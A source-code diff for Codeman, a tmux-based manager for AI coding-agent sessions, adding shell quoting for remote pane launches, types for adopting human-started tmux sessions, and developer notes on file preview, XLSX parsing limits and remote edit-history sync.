await execAsync(`${this.tmux()} detach-client -s "${muxName}"`, { timeout: EXEC_TIMEOUT_MS });
}
stopRemoteReconnectWatcher(): void {
if (this.remoteReconnectInterval) {
clearInterval(this.remoteReconnectInterval);
@@ -4663,6 +4865,29 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
}
}
/**
* The `bash -c` argument of a pane launch (`respawn-pane … bash -c <arg>`, run through the
* local sh). A remote, docker or adopted command is already quoted for the shell at the far
* end and must reach bash verbatim, so it goes in single quotes. Double quotes
* (JSON.stringify) let the local sh expand every `$` first: the PATH bootstrap of
* `withRemoteTmuxPath` (`$HOME/.local/bin:…:$PATH`) arrived on the remote host as this
* host's home and PATH, so a remote user with another home found no tmux and every new
* remote pane exited 127. `${SHELL:-/bin/sh}` in the remote launch was the local shell for
* the same reason, and an adopted ssh attach carries the same bootstrap, so a tmux in the
* remote `~/.local/bin` was found by discovery and then missed by the attach. Single quotes
* also keep a real newline, which JSON escaping left as the two characters `\n`.
* An adopted attach goes verbatim at all three locations, the local one included: every
* value in it is already quoted by `foreign-tmux.ts`, and nothing in it is for this shell.
* An agent launched on this host keeps its double-quoted form.
*
* ⚠️ So nothing in a verbatim launch is expanded on this host any more, the docker client's
* own arguments included: a bare `$VAR` in `extraCreateArgs`/`extraExecArgs` reaches docker
* as those literal characters.
*/
export function bashCArg(launchCmd: string, verbatim: boolean): string {
return verbatim ? shellescape(launchCmd) : JSON.stringify(launchCmd);
}
/**
* Shell-escape a string for use as a single argument.
* Wraps in single quotes, escaping any embedded single quotes.
+106
View File
@@ -0,0 +1,106 @@
/**
* @fileoverview Discovery contract for FOREIGN tmux sessions, the ones a human
* started by hand (`tmux new -s work`, then `claude` or `codex` inside it), which
* Codeman did not create and does not own.
*
* Codeman's own sessions live on a dedicated, instance-scoped socket
* (`tmux -L codeman`) and are gated by `SAFE_MUX_NAME_PATTERN`. Everything here
* is about the OTHER servers: the default socket, a colleague's `-L` socket, the
* tmux inside a container, the tmux on an ssh host.
*
* Key exports:
* - ForeignTmuxLocation, WHERE a foreign tmux server lives, the same three
* locations Codeman already runs sessions in (local / docker / remote).
* - ForeignPaneProbe, one parsed row of the probe script's output.
* - ForeignTmuxSession, one adoptable candidate as the UI sees it.
* - ForeignDiscoveryResult, one scan of one or more locations.
*
* ⚠️ `location` here describes where a candidate was FOUND. Once adopted, the
* location fact is carried by `SessionAdopt` (types/session.ts) instead. The two
* must never stand in for each other, or an un-adopted candidate starts looking
* like a live session.
*
* No I/O here. The probe/parse/classify core is `src/foreign-tmux.ts`; the three
* transports are `src/foreign-tmux-discovery.ts`.
*/
import type { SessionMode } from './session.js';
/** Where a foreign tmux server lives. Mirrors Codeman's own three locations. */
export type ForeignTmuxLocationKind = 'local' | 'docker' | 'remote';
/**
* A location to scan. `hostId` refers to the saved docker-host / remote-host
* registry entry, so the transport can be rebuilt without trusting the browser.
*/
export interface ForeignTmuxLocation {
kind: ForeignTmuxLocationKind;
/** Registry id (`docker-hosts.json` / `remote-hosts.json`). Absent for local. */
hostId?: string;
/** Display label for the UI. Absent for local. */
label?: string;
/** Container to `docker exec` into (`kind === 'docker'`). */
containerName?: string;
}
/** One pane row from the probe script, after parsing. */
export interface ForeignPaneProbe {
socketPath: string;
sessionName: string;
windowIndex: number;
paneId: string;
panePid: number;
/** tmux's own idea of the running command: `node` for both claude and codex. */
paneCurrentCommand: string;
paneCurrentPath: string;
sessionAttached: boolean;
/** tmux `session_created`, epoch SECONDS. */
sessionCreated: number;
windows: number;
}
/** One adoptable foreign session. */
export interface ForeignTmuxSession {
/**
* Stable, opaque id for the UI and the adopt request. Derived from
* location + socket + session name, so it survives a re-scan and can be
* matched against an already-adopted session without echoing raw paths back
* through the browser as command inputs.
*/
id: string;
location: ForeignTmuxLocationKind;
hostId?: string;
hostLabel?: string;
containerName?: string;
/** Absolute socket path AS SEEN FROM THE LOCATION (not from Codeman's host). */
socketPath: string;
sessionName: string;
windows: number;
attached: boolean;
/** Epoch MILLISECONDS (tmux reports seconds; normalized on parse). */
createdAt: number;
/**
* What the session's FIRST LISTED pane is running, from the bounded process-tree
* walk. Not the active window: claude in window 1 of a session whose window 0 holds
* a shell reads as `shell`. The tab lands on that same first window, so the two agree.
*/
mode: SessionMode;
/** Truncated command line behind the classification, for the UI subtitle. */
command: string;
/** That same pane's cwd. Informational: an adopted pane is never `cd`'d. */
workingDir: string;
/** Codeman session id already wrapping this target, when one exists. */
adoptedBy?: string;
}
/** One discovery scan. Never throws: unreachable locations become notes. */
export interface ForeignDiscoveryResult {
sessions: ForeignTmuxSession[];
/** Epoch ms of the scan the result came from (may be a cache hit). */
scannedAt: number;
/**
* Non-fatal reasons a location produced nothing (host unreachable, no tmux,
* engine down). Surfaced so an empty list is never silently ambiguous.
*/
notes: string[];
}
+1
View File
@@ -75,4 +75,5 @@ export * from './search.js';
export * from './user.js';
export * from './webview.js';
export * from './intent.js';
export * from './foreign-tmux.js';
export * from './mcp-sync.js';
+109 -2
View File
@@ -34,6 +34,7 @@
import type { RespawnConfig } from './respawn.js';
import type { AttachmentDetectedType } from './tools.js';
import type { GitFetchStatus } from '../git-fetch.js';
import type { LiveWorktree } from '../live-worktree.js';
/** Status of a Claude session */
export type SessionStatus = 'idle' | 'busy' | 'stopped' | 'error';
@@ -365,6 +366,74 @@ export interface SessionDocker {
owned?: boolean;
}
/**
* Connection facts needed to reach an adopted foreign tmux server. Deliberately
* the exact `Pick`s that `buildSshConnectionArgs` / `buildDockerBaseArgs` consume,
* so an adopted session can rebuild its command after a server restart without
* re-reading a registry that may have been edited in the meantime.
*/
export interface AdoptRemoteConnection extends RemoteSshOptions {
hostId: string;
label: string;
host: string;
username: string;
port?: number;
}
export interface AdoptDockerConnection {
hostId: string;
label: string;
engine: DockerEngine;
containerName: string;
daemonHost?: string;
context?: string;
}
/**
* ADOPTION overlay: a tmux session a HUMAN started, that Codeman attached to.
*
* This is the FOURTH location overlay, alongside remote-SSH and Docker, and it
* obeys the same rule they do: it is **not** a `SessionMode`. The mode is still
* claude / codex / shell / …, decided by the process-tree probe rather than by
* the user.
*
* Shape of an adopted session: Codeman creates a NORMAL wrapper session on its
* OWN socket (`codeman-<8hex>`, so `isValidMuxName` and every capture/input/
* recovery path is untouched) whose single pane runs a command that attaches to
* the foreign target. Killing the tab kills only the wrapper: the foreign
* session is structurally out of reach, exactly like a non-owned remote session.
*
* ⚠️ There is no `owned` field here, unlike `SessionRemote`/`SessionDocker`: an
* adopted session is *by definition* someone else's. A field that could be true
* would invite a code path that kills it.
*/
export interface SessionAdopt {
/** Where the foreign tmux server lives. */
location: 'local' | 'docker' | 'remote';
/** Absolute socket path as seen FROM that location (passed to `tmux -S`). */
socketPath: string;
/** The foreign session we attach to. Never Codeman-named, never name-validated. */
targetSession: string;
/**
* Our own grouped VIEW session on the foreign server. Grouping (rather than a
* bare `attach`) buys `status off` and an independent CURRENT WINDOW, both of
* which land on our session instead of mutating the owner's.
*
* ⚠️ It does NOT buy an independent size, and the comment here used to claim it
* did. A window is one object with one size and a group shares that object, so
* our attach resizes the owner's view exactly as any second tmux client does
* (measured on 3.3a: bare attach and grouped both shrink a 200x49 target to
* 80x23; only `window-size largest` holds it, and that is a shared window
* option which survives our detach, see foreign-tmux.ts for why it is not set).
* Created with `destroy-unattached on` so it evaporates with our pane.
*/
viewSession: string;
/** The pane cwd at adoption time. Informational: an adopted pane is never `cd`'d. */
paneCurrentPath?: string;
remote?: AdoptRemoteConnection;
docker?: AdoptDockerConnection;
}
/**
* Valid Claude CLI effort levels (claude >= 2.1.154).
* `ultracode` = xhigh effort + standing dynamic-workflow orchestration; it is a
@@ -437,6 +506,14 @@ export interface CodexConfig {
resumeSessionId?: string;
/** Bypass approval prompts (passes --dangerously-bypass-approvals-and-sandbox) */
dangerouslyBypassApprovals?: boolean;
/**
* Let commands in codex's workspace-write sandbox use the network, Codeman's loopback API
* included (passes --config sandbox_workspace_write.network_access=true). Never changes the
* sandbox mode: a folder codex runs read-only keeps the network closed and asks per command.
* Filled from the synced `codexNetworkAccess` setting when unset; clamped off for a
* non-granted owner.
*/
networkAccess?: boolean;
/** Enable Codex's decorative TUI animations. Disable to reduce remote terminal redraws. */
animations?: boolean;
/** Browser rendering strategy for Codex sessions. Hybrid TUI is the only supported mode. */
@@ -702,6 +779,20 @@ export interface CustomModelBookkeeping extends CustomModelSelection {
configDir?: string;
/** Value forced onto the CLI's `model` launch param (pi/omp `custom/<id>`, grok's block name). */
launchModel?: string;
/**
* The variable that moves the CLI's home, when the recipe redirects one (`DSH_HOME`,
* `CLAUDE_CONFIG_DIR`, `CODEX_HOME`, `GROK_HOME`). Its value is a path, which is what
* lets {@link CustomModelBookkeeping.ownEnv} keep that one entry on disk.
*/
homeEnvVar?: string;
/**
* What the session itself had set under keys the selection replaced, put back when the
* selection goes. In memory this can hold a credential (a session's own `GEMINI_API_KEY`),
* so `Session.getCustomModelForPersist()` writes `homeEnvVar`'s entry, when it is an absolute
* path, and nothing else: tmux keeps only the injected value, so state.json is the one copy
* left after a restart.
*/
ownEnv?: Record<string, string>;
}
/**
@@ -847,10 +938,26 @@ export interface SessionState {
* routes like any other out-of-workspace path.
*/
paneCwd?: string;
/**
* The linked git worktree inside `workingDir` that the pane is in NOW, when there is one:
* Claude Code's `.claude/worktrees/<name>`, or any other worktree of the repository under
* the session's folder. Derived from {@link paneCwd} by `live-worktree.ts`, so it is
* runtime-only and absent wherever `paneCwd` is, and absent for a worktree outside
* `workingDir`: the file routes never serve those. NOT a confinement root; the Files panel
* only starts its listing here, after `GET .../files` has checked that the real folder still
* lies inside `workingDir`, since a symlink can replace it without moving the pane.
*/
liveWorktree?: LiveWorktree;
/** Remote execution metadata, present when this session runs over SSH through local tmux */
remote?: SessionRemote;
/** Docker execution metadata, present when this session runs inside a container via local tmux + docker exec */
docker?: SessionDocker;
/**
* Adoption metadata, present when this session is a wrapper around a tmux
* session a human started outside Codeman. Its presence is what disables
* respawn/Ralph/orchestrator and hook-backed waits for the session.
*/
adopt?: SessionAdopt;
/** Owning username in multi-user mode; undefined in single-user (ignored when the flag is off) */
owner?: string;
/**
@@ -956,8 +1063,8 @@ export interface SessionState {
/**
* True while the CLI in the pane has a mouse-tracking DECSET on, as observed
* by the server on its way out of the stream (those sequences are stripped for
* the strip-full and strip-mux-and-mouse modes, claude/codex/gemini and opencode
* under tmux, so the browser can never see them itself). The browser
* the strip-full and strip-mux-and-mouse modes under tmux, so the browser can
* never see them itself). The browser
* hand-encodes a click report ONLY when this is true; without it, every click
* sent mouse reports to a CLI that never asked for them.
*/
+4 -2
View File
@@ -22,7 +22,7 @@
**Ctrl+V paste trap** (`image-input.js`): `Ctrl+V` routes through `_handleImagePaste()`, which focuses a hidden `contenteditable` trap and reads the clipboard from the paste event landing there; images upload and their paths are typed in, plain text is a Codeman-built bracketed paste handed to that pane's terminal via `terminal.input(framed)` (strip nested 200/201 markers, newlines to `\r`, wrap CSI 200~/201~) because `terminal.paste()` drops those markers after a replay clears xterm's DECSET 2004 mirror (#716). `input()` fires onData as user input, so the main pane's bracketed-paste branch and a tile's `_onTerminalData` deliver the frame, including the local-echo flush (#219). The terminal is only refocused. ⚠️ **The trap must consume exactly ONE paste event** (Firefox delivers two per keypress: the `execCommand('paste')` event and the keydown's default action); the one-shot flag lives on the trap, never on a browser check. ⚠️ Do not remove the `execCommand('paste')` call: on some mobile engines it is the only route into the trap, and the trap is the only place image blobs are read. Tests: `test/image-paste-trap.test.ts`. → [architecture-invariants#terminal-paste-ctrlv](../../docs/architecture-invariants.md#terminal-paste-ctrlv)
**File Viewer text view: rendered markdown + Lines/Wrap toggles** (`_renderFilePreviewText()` in panels-ui.js): a `.md`/`.markdown` opens RENDERED by default with an `MD` pill back to source; the plain-text view has `Lines` (CSS-counter gutter) and `Wrap` toggles. ⚠️ ONE markdown pipeline: the viewer calls `_renderMarkdown(text, { breaks: false })` (marked + the DOMPurify allowlist, the Response Viewer's; chat keeps the default `breaks: true`, a file must not turn every hard wrap into a `<br>`) and binds the Response Viewer's click delegate (`_bindResponseViewerInteractions`) on the preview body for code-copy buttons and path links; never a second parser or handler. ⚠️ The document is built inside a `<template>` (a detached div with `innerHTML` set starts fetching every `<img src>` before the rewrite), then `_rebaseFilePreviewMarkdownRefs()` points relative images at the workspace-confined `file-raw` under the document's directory and root-relative ones under the workspace root (never a widened route; a failed load degrades to alt text), after `decodeURIComponent`ing the ref and dropping `?query`/`#fragment` (marked percent-encodes destinations, and the route encodes again), and turns workspace links into `a.rv-path` carrying `data-session-id` for the delegate (the linkifier's absolute paths get it too), stripping the `target` marked gave them. ⚠️ A preview opened by attachment id under a bare file name (attachment cards, history drawer: the registry keeps no relative path) has no directory, so its workspace refs degrade (images to alt text, links to their text), never resolve against the workspace root. ⚠️ The container carries `data-i18n-skip` or the translator rewrites the document's prose. ⚠️ Toggles are per-device localStorage keys (`codeman:filePreview*`), never `SettingsUpdateSchema`; Lines/Wrap are class flips on the ONE `<pre>`, with rules scoped `.file-preview-body > pre.file-preview-text` so they never leak into the document's code blocks. Markdown fetches `lines=10000` (the route ceiling), other text keeps 500. ⚠️ `md`/`markdown` are IN `FILE_PREVIEW_EXTENSIONS` (owner decision 2026-10-13): a markdown path clicked or tapped in the TERMINAL (main pane, grid tiles and split Pane B share `registerFilePathLinkProvider`) opens this rendered view like every other surface, never the streaming log viewer; other in-workspace text keeps the tail viewer (live follow). The terminal pattern links `.markdown` and `.htm` too. Tests: `test/file-preview-markdown.test.ts`. → [architecture-invariants#file-viewer-text-view-rendered-markdown-and-text-toggles](../../docs/architecture-invariants.md#file-viewer-text-view-rendered-markdown-and-text-toggles)
**File Viewer text view: rendered markdown + Lines/Wrap toggles** (`_renderFilePreviewText()` in panels-ui.js): a `.md`/`.markdown` opens RENDERED by default with an `MD` pill back to source; the plain-text view has `Lines` (CSS-counter gutter) and `Wrap` toggles. ⚠️ ONE markdown pipeline: the viewer calls `_renderMarkdown(text, { breaks: false })` (marked + the DOMPurify allowlist, the Response Viewer's; chat keeps the default `breaks: true`, a file must not turn every hard wrap into a `<br>`) and binds the Response Viewer's click delegate (`_bindResponseViewerInteractions`) on the preview body for code-copy buttons and path links; never a second parser or handler. ⚠️ The document is built inside a `<template>` (a detached div with `innerHTML` set starts fetching every `<img src>` before the rewrite), then `_rebaseFilePreviewMarkdownRefs()` points relative images at the workspace-confined `file-raw` under the document's directory and root-relative ones under the workspace root (never a widened route; a failed load degrades to alt text), after `decodeURIComponent`ing the ref and dropping `?query`/`#fragment` (marked percent-encodes destinations, and the route encodes again), and turns workspace links into `a.rv-path` carrying `data-session-id` for the delegate (the linkifier's absolute paths get it too), stripping the `target` marked gave them. ⚠️ A preview opened by attachment id under a bare file name (attachment cards, history drawer: the registry keeps no relative path) has no directory, so its workspace refs degrade (images to alt text, links to their text), never resolve against the workspace root. ⚠️ The container carries `data-i18n-skip` or the translator rewrites the document's prose. ⚠️ Toggles are per-device localStorage keys (`codeman:filePreview*`), never `SettingsUpdateSchema`; Lines/Wrap are class flips on the ONE `<pre>`, with rules scoped `.file-preview-body > pre.file-preview-text` so they never leak into the document's code blocks. Markdown fetches `lines=10000` (the route ceiling), other text keeps 500. ⚠️ `md`/`markdown` are IN `FILE_PREVIEW_EXTENSIONS` (owner decision 2026-10-13): a markdown path clicked or tapped in the TERMINAL (main pane, grid tiles and split Pane B share `registerFilePathLinkProvider`) opens this rendered view like every other surface, never the streaming log viewer; other in-workspace text keeps the tail viewer (live follow). The terminal pattern links `.markdown` and `.htm` too. ⚠️ **Right-to-left text** (#715) has three parts on that one pipeline: `_renderMarkdown` pins `pre, code` to `dir="ltr"`, `_linkifyFilePaths` pins the anchors it builds the same way (`dir="auto"` skips a descendant that carries a `dir`, so `npm install` or a path at the head of a Persian sentence does not decide its direction; a markdown link's label is prose and stays unpinned), and `_applyBlockDirection()` gives each OUTERMOST prose block `dir="auto"`, keeping a `dir` the agent wrote and what it covers. ⚠️ That pass runs LAST, on the DOM, in both consumers (`_buildResponseViewerMessage`, `_renderFilePreviewText`), never in `_renderMarkdown` (its string must hold no `dir="auto"`) and never inside the linkifier (which returns early on a stale constants.js): an element already carrying `dir="auto"` re-resolves its direction on every insertion under it, so a code-only or path-only document went quadratic and a 200 KB list froze the tab for 40 s. ⚠️ The `.rv-text` block rules use logical properties (`padding-inline-start`, `border-inline-start`, `border-inline-end`, `text-align: start`, logical corner radii), never physical left and right, or an RTL block keeps its bullets and quote bar on the wrong side. The terminal pane is out of reach: xterm.js has no RTL support (xtermjs/xterm.js#701). Tests: `test/file-preview-markdown.test.ts`, `test/response-viewer-rtl.test.ts`. → [architecture-invariants#file-viewer-text-view-rendered-markdown-and-text-toggles](../../docs/architecture-invariants.md#file-viewer-text-view-rendered-markdown-and-text-toggles)
**Spreadsheet preview (XLSX)** (`spreadsheet-preview.js` + `spreadsheet-preview-worker.js`; moved from File-path links in the root file): ⚠️ **XLSX previews parse in the BROWSER**, never on the server: `spreadsheet-preview.js` fetches the raw route with `?preview=true` (413 above `MAX_XLSX_BROWSER_PREVIEW_BYTES`, 10 MB) and hands the bytes to `spreadsheet-preview-worker.js`, the only place the pinned `exceljs`/`fflate` vendor bundles load (never on page load). `admitXlsx()` caps the ZIP before ExcelJS runs, counting what ExcelJS will EXPAND as well as what it reads (a merge costs its area, a `<col>` past 16384 is refused, validations are never parsed via `ignoreNodes`, and defined names are never expanded: the worker stubs `_definedNames.model`). ⚠️ The INDEX a row or sheet claims is bounded too, since ExcelJS allocates and walks up to it: a `<row r>` outside 1-1048576 and an `xl/workbook.xml` `<sheet sheetId>` above `LIMITS.maxSheetId` (65535) are refused, and `sendTile` reuses the merges read at load (`mergesById`), never `sheet.model`, which rebuilds the whole sheet. ⚠️ The COLUMN index costs the same way (a row's cells live at `_cells[col - 1]`, so one `XFD` cell makes ExcelJS's `eachRow`/`eachCell`/`hasValues` visit 16,384 slots per row): `worksheetMetadata` builds each sheet's row and cell index from the keys that exist (`Object.keys` of `_rows` and `_cells`, skipping falsy and `Null`-type cells as `eachCell({ includeEmpty: false })` does), reads row heights in that pass and merges from `sheet._merges`, and `sendTile` reads cells from that index (`populatedRowsById`); never call ExcelJS's dense `eachRow`/`eachCell` there. `parseThemePalette` returns the default palette for a theme above 64 KB (64 * 1024 characters), since its patterns are quadratic on unclosed tags. ⚠️ Merges are capped per sheet (`LIMITS.maxMergesPerSheet`, 2,000) AND workbook-wide (`LIMITS.maxMerges`, 10,000), refused as `merge-limit` before ExcelJS loads, since ExcelJS's `_mergeCellsInternal` checks each merge against every earlier one on its sheet (quadratic). Every `<numFmt>` in `xl/styles.xml` is read with `readTagAttributes()` and refused (`number-format`) when its decoded `formatCode` is over 255 characters or has a `[` after its last `]`: ExcelJS's `isDateFmt` rescans to the end of the code per unclosed `[` once per numeric cell, and the code is echoed into the notice bar. ⚠️ `formatCellValue` caps every cell's display text at `LIMITS.maxCellTextChars` (1,000, ellipsis, never splitting a surrogate pair) for every value shape (rich text, hyperlink text, formula source, errors), since structured clone copies each tile cell's whole string to the page and the load timeout no longer covers tiles. `richTextPrefix` also visits at most `maxCellTextChars + 1` runs, not only keeps that much text: an empty `<r/>` adds nothing, so a shared string of a million empty runs was walked whole per cell, per tile (56 s a tile). ⚠️ Every part ExcelJS parses (all but the pure-bytes `xl/media/<name>.<ext>`) is also charged per START TAG against `LIMITS.maxElements` (2,000,000, refused as `element-limit`): ExcelJS builds an object per element in sharedStrings, styles, comments, drawings, VML and tables too, and empty stored blocks pad a deflate stream past the ratio cap, so 8.3M empty `<r/>` runs in a 375 KB file cost 570 MB of heap. ⚠️ Admission keys every entry on the name ExcelJS will SEE (`excelJsEntryName()`: JSZip's `.`/`..`/empty-segment resolution, then one leading `/` stripped), refuses two entries that land on one name, and treats anything matching ExcelJS's UNANCHORED `xl/worksheets/sheet<N>.xml` as a worksheet, so `/xl/...` or `xl/./...` cannot skip a counter, and ExcelJS parses only a STORE-only archive rebuilt from the entries admission inflated (`buildAdmittedArchive()`), never the fetched bytes; cell text goes through `textContent`, formulas are never evaluated. Bumping either package or editing the worker/core changes `SPREADSHEET_ASSET_VERSION`, which `npm run check:public-assets` pins. xls/ods stay download-only.
@@ -46,6 +46,8 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
**Desktop home tab rail** (`home-sessions.js`, desktop only): the welcome overlay's left gutter carries the open tabs as a rail docked flush left, full height, in overview order, each row showing `created … · <state> <duration>` from `_mobileOverviewSince()`; state classification is reused from mobile-overview.js (so it loads after it). ⚠️ The number badge is the Alt+1..9 tab-strip index, never renumber it to row position. ⚠️ The width gate lives in two places that must stay equal: `HOME_SESSIONS_MIN_WIDTH` (1180) and a `max-width: 1179px` media query. ⚠️ `.home-sessions[hidden]` must re-assert `display: none`. ⚠️ Size all children in `em` off the one `clamp()` knob, never `rem`/px. Age stamps tick in place (`_tickHomeSessionsTimes()`), never by re-render. Test: `test/home-sessions.test.ts`. → [architecture-invariants#desktop-home-tab-rail](../../docs/architecture-invariants.md#desktop-home-tab-rail)
**Opened outside Codeman** (`foreign-sessions.js`, both home screens): the tmux sessions a human started, listed from `GET /api/mux/foreign` (root CLAUDE.md, Adopted tmux sessions). ONE renderer, `renderForeignSessions(container)`, fills the welcome block and the phone overview's, and every row goes through `textContent`, since a session name and a command line come from someone else's process. ⚠️ It polls only while a home screen is up (`startForeignPolling`/`stopForeignPolling` from `showWelcome()`/`hideWelcome()`) and the tab is visible (`_foreignPollTick()` is the one gate, and `visibilitychange` catches up; the cache TTL sits under the poll interval, so one tab's every tick is a full socket sweep), and the poll is local only: the docker and ssh scan costs one connection per target, so it runs once on the toggle and again on Rescan, and its rows and notes are kept apart (`_foreignWideSessions`, `_foreignWideNotes`) or the next local poll would wipe them. ⚠️ A 403 is a non-admin in multi-user mode, an answer and not a failed poll: `_foreignRefused` stops the polling and shows no block. ⚠️ `closeSession()` re-reads the list after an adopted tab's DELETE, since the home screen's own load races it and the row would say `Go to tab` until the next poll. ⚠️ An adopted tab has no kill outcome to offer, so the close dialog hides the red button and always tears the wrapper down. ⚠️ `session.remote` and `session.docker` are undefined on an adopted session, so a check that hides a row for those two usually needs `session.adopt` as well. Tests: `test/foreign-sessions-ui.test.ts`, `test/foreign-sessions-i18n.test.ts` (harvests every string from the real module).
**Home-screen session order** (`CodemanSessionOrder` in constants.js, pure): BOTH home screens (phone overview, desktop rail) must order rows through this ONE comparator. Rank `needs` → `error` → `waiting` → `working` → `idle` → `done`. ⚠️ The tiebreak flips: states a session is still IN sort oldest-first, states it has STOPPED sort newest-first. ⚠️ The running group keys off `lastSubmitAt`, never `lastActivityAt` (a working pane repaints constantly). ⚠️ A 0 stamp means unknown and sorts last within its state. Final tiebreak is `orderIndex`, so the list never shuffles. The tab strip itself is NOT sorted by this. Test: `test/session-overview-order.test.ts`. → [architecture-invariants#home-screen-session-order](../../docs/architecture-invariants.md#home-screen-session-order)
**Welcome "Resume Conversation" list** (terminal-ui.js): `loadHistorySessions()` fetches once and caches the corpus on `_historyAll`/`_historyCases`; every subsequent view (filter box, sort select, expand, the periodic refresh in panels-ui.js) goes through `_renderHistoryList()`, so never append rows to `#historyList` directly or re-fetch to re-sort. ⚠️ The box height is **class-driven**: expanding the list without `.history-list.expanded` leaves the collapsed `max-height` in place and just deepens a scroll well, which is the bug #260 reported (35 sessions in a ~4-row box). ⚠️ The A–Z sort keys off `_historyRowLabel()`, the SAME string the row renders (`name || firstPrompt || path`), most rows are transcript-backed and have no session name, so sorting on `name` alone silently does nothing. ⚠️ A filter implies expansion, and `_renderSearch()` hides `#historyHeader` (title + controls) as one unit while a search is active. Tests: `test/history-list-controls.test.ts`.
@@ -72,7 +74,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
**Shell keyboard accessory bar + one-shot Ctrl** (`keyboard-accessory.js`): a shell-mode session swaps the mobile accessory bar for terminal controls; `setMode()` records `extendedKeyboardBar` as the base layout and `refreshForActiveSession()` resolves base-vs-shell. ⚠️ Ctrl is a one-shot modifier applied in `terminal.onData` (after `shouldSuppressTerminalQueryResponse`, before every send path), and must skip `isTerminalFocusOrMouseReport()` chunks. ⚠️ It must disarm on use, second tap, any other accessory key, session switch, keyboard dismissal and layout swap. ⚠️ `_handleCjkInput()` must apply it too (the CJK textarea bypasses onData). Mapping: `ctrlByteFor()`. ⚠️ mobile.css's light-skin repaint must keep excluding `.accessory-btn:not(.armed)` or the armed state is invisible. → [architecture-invariants#shell-keyboard-accessory-bar-and-one-shot-ctrl](../../docs/architecture-invariants.md#shell-keyboard-accessory-bar-and-one-shot-ctrl)
**Mobile prompt composer** (`keyboard-accessory.js`): the agent bars' Paste key is **Compose**, a native multiline dialog where only **Send** submits (the shell bar keeps plain Paste). Opening it adopts the whole terminal prompt (`_takePendingLocalEcho`), erasing the flushed prefix with backspaces counted in code points. ⚠️ Drafts are per-session and in memory only (`_composerDrafts`), never persisted (prompts carry secrets). ⚠️ Delivery is a hand-built bracketed-paste frame via `_sendInputAsync` WITHOUT `useMux`, then a separate delayed Enter WITH it; never `terminal.paste()`, and the frame must never take the mux fallback (`TmuxManager.sendInput()` strips every `\r`, the frame's line separator, so the lines weld into one inside a second pair of markers and get submitted). ⚠️ `_composerMaxLength` must stay derived from `MAX_INPUT_LENGTH` minus the markers, or an oversized frame wedges the durable queue. ⚠️ The composer overlay needs its own gutter restatement after the fold rules. Test: `test/mobile-prompt-composer.test.ts`. → [architecture-invariants#mobile-prompt-composer](../../docs/architecture-invariants.md#mobile-prompt-composer)
**Mobile prompt composer** (`keyboard-accessory.js`): the agent bars' Paste key is **Compose**, a native multiline dialog where only **Send** submits (the shell bar keeps plain Paste). Opening it adopts the whole terminal prompt (`_takePendingLocalEcho`), erasing the flushed prefix with backspaces counted in code points. ⚠️ Drafts are per-session and in memory only (`_composerDrafts`), never persisted (prompts carry secrets). ⚠️ Delivery is a hand-built bracketed-paste frame via `_sendInputAsync` WITHOUT `useMux`, then a separate delayed Enter WITH it; never `terminal.paste()`, and the frame must never take the mux fallback (`TmuxManager.sendInput()` strips every `\r`, the frame's line separator, so the lines weld into one inside a second pair of markers and get submitted). ⚠️ `_composerMaxLength` must stay derived from `MAX_INPUT_LENGTH` minus the markers, or an oversized frame wedges the durable queue. ⚠️ The composer overlay needs its own gutter restatement after the fold rules. The textarea carries `dir="auto"`, so a prompt written in Persian, Arabic or Hebrew lays out right to left from its first letter (#715). Test: `test/mobile-prompt-composer.test.ts`. → [architecture-invariants#mobile-prompt-composer](../../docs/architecture-invariants.md#mobile-prompt-composer)
**Terminal resilience**: a replay clear is the queued in-stream `\x1bc` in `_resetTerminalForReplay()`, never `reset()`/`clear()` (queued bytes fuse into the snapshot); the renderer watchdog `_kickRenderer()` reads xterm privates, pinned by `test/xterm-private-api.test.ts` against the resolved lockfile version; every terminal capture fetch has a deadline that covers the BODY (`_fetchTerminalCapture`). → [architecture-invariants#terminal-resilience-replay-clears-renderer-liveness-fetch-deadlines](../../docs/architecture-invariants.md#terminal-resilience-replay-clears-renderer-liveness-fetch-deadlines)
+62 -20
View File
@@ -31,11 +31,15 @@
* OLDER. "Load older" reads a full budget block of up to {@link MAX_OLDER_SOURCES} sources
* with older lines per click; with more sources they take turns.
*
* WHICH SESSIONS. Local claude sessions. Remote, Docker and non-claude sessions answer
* `unsupported` and are never read.
* WHICH SESSIONS. Claude sessions, local and remote. Docker and non-claude sessions answer
* `unsupported` and are never read. The deps get the session and read a remote one over ssh
* (`remote-files.ts`): one round trip to find its transcript, one per read (more for a
* conversation with hundreds of subagents). A remote read never wakes its host; a sleeping one
* is a connect timeout (`unavailable`, stored entries kept).
*
* IMAGES. A Bash candidate counts only when the file's mtime lies in the call's window
* (start − 2 s … end + 2 s), so `ls *.png` lists nothing.
* (start − 2 s … end + 2 s), so `ls *.png` lists nothing. Transcript times and mtimes come
* from the same host, so a remote host's clock skew to this server does not matter.
*
* Tests: `test/edit-history-sync.test.ts`.
*
@@ -75,21 +79,30 @@ export interface EditHistorySession {
mode: string;
remote: SessionRemote | undefined;
docker?: unknown;
/** Set on a wrapper around a foreign tmux session: Codeman holds no transcript id for what runs there. */
adopt?: unknown;
claudeSessionId: string | null;
/** The session's own `CLAUDE_CONFIG_DIR` (Codeman env override), if it has one. */
claudeConfigDir?: string;
}
export interface EditHistorySyncDeps {
/** The session's main transcript path, or null when it has none yet. */
transcriptPath(session: EditHistorySession): Promise<string | null>;
/**
* The session's main transcript path, or null when it has none yet. `storedTranscriptId` is
* the conversation the stored history holds (null before the first read); see
* {@link remoteTranscriptIds}.
*/
transcriptPath(session: EditHistorySession, storedTranscriptId: string | null): Promise<string | null>;
/** The session's transcripts (a remote session's on its host). */
readSources(
session: EditHistorySession,
mainPath: string,
requests: readonly EditSourceRequest[],
budget: number,
opts?: EditSourceReadOptions
): Promise<EditSources | null>;
probe(paths: readonly string[]): Promise<Array<PathProbe | null>>;
/** Bash image candidates of the session, on the host it runs on. */
probe(session: EditHistorySession, paths: readonly string[]): Promise<Array<PathProbe | null>>;
loadStore(sessionId: string): Promise<EditHistoryStore>;
/** Delete a session's stored history without loading it. */
deleteStore(sessionId: string): Promise<void>;
@@ -102,10 +115,23 @@ export interface SyncOptions {
older?: boolean;
}
/**
* The conversation ids a REMOTE session's transcript lookup considers when its claude writes
* none now; the most recently written of them wins (`buildRemoteClaudeTranscriptLocateCommand`).
* The stored history's conversation must be among them: no hook tells Codeman of a remote
* `/clear`, so `claudeSessionId` stays the launch id, and without the stored one the panel
* would flip back to the cleared conversation as soon as the remote claude exits.
*/
